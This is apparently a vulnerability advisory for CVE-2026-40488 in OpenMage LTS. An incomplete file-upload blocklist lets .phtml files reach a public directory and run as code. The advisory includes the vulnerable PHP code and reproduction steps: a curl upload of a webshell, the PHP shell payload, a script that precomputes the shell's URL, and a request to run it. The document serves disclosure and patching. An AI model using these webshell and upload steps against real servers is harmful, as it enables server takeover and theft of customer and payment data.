CVE-2026-40488: OpenMage LTS has Customer File Upload Extension Blocklist Bypass that Leads to Remote Code Execution
Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to version 20.17.0, the product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbiddenextensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/customoptions/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. Version 20.17.0 patches the issue.
Other sources
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbiddenextensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/customoptions/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
Affected Version
- Project: OpenMage/magento-lts - Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php - Vulnerable Lines: 230-237 (validateUploadedFile()) - Configuration: app/code/core/Mage/Catalog/etc/config.xml:824
Root Cause
The file upload handler uses ZendFileTransferAdapterHttp directly with ExcludeExtension validator, referencing only:
xml <!-- Catalog/etc/config.xml:824 --> <forbiddenextensions>php,exe</forbiddenextensions>
This misses the comprehensive protectedextensions blocklist defined elsewhere:
xml <!-- Core/etc/config.xml:449-478 --> php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, htm, html, pht, phtml, shtml
Vulnerable Code
php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237 $allowed = $this->parseExtensionsString($option->getFileExtension()); if ($allowed !== null) { $upload->addValidator('Extension', false, $allowed); } else { $forbidden = $this->parseExtensionsString($this->getConfigData('forbiddenextensions')); if ($forbidden !== null) { $upload->addValidator('ExcludeExtension', false, $forbidden); // Only blocks php,exe! } }
Steps to Reproduce
1. Environment Setup
Target: OpenMage LTS with Apache+modphp or Apache+PHP-FPM (with .phtml handler)
2. Exploitation
bash Upload .phtml (bypasses blocklist) curl -X POST "https://target.com/vulnerableupload.php" \ -F "file=@shell.phtml;filename=shell.phtml"
Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
3. Code Execution
OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:
Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:
filename = "shell.phtml" → s/ h/ → media/customoptions/quote/s/h/
Filename — md5(filegetcontents($tmpname)) is computed over the raw bytes of the uploaded payload (File.php:245):
php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245 $fileHash = md5(filegetcontents($fileInfo['tmpname'])); $filePath = $dispersion . DS . $fileHash . '.' . $extension;
Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:
bash SHELLCONTENT='<?php echo exec("id"); system($GET["cmd"]??"id"); ?>\n' HASH=$(echo -n "$SHELLCONTENT" | md5sum | cut -d' ' -f1) PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
bash curl "https://target.com/media/customoptions/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
Result: RCE Confirmed
<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />
Affected Deployments
| Configuration | Status | |---------------|--------| | Apache + modphp (with phpflag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |
Impact
1. Remote Code Execution: Full server compromise through webshell upload 2. Data Exfiltration: Access to database credentials, customer PII, payment data 3. Lateral Movement: Pivot to internal infrastructure 4. Supply Chain: Inject malicious code into served content
— GitHub
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-40488?
CVE-2026-40488 is considered a critical security vulnerability due to the potential for remote code execution.
How do I fix CVE-2026-40488?
To fix CVE-2026-40488, you should update your OpenMage LTS installation to version 20.17.0 or later.
Who is affected by CVE-2026-40488?
CVE-2026-40488 affects users of OpenMage LTS versions prior to 20.17.0.
What type of vulnerability is CVE-2026-40488?
CVE-2026-40488 is a blocklist bypass vulnerability that can lead to remote code execution.
What does the blocklist bypass in CVE-2026-40488 allow?
The blocklist bypass in CVE-2026-40488 allows attackers to upload malicious files, potentially leading to arbitrary code execution.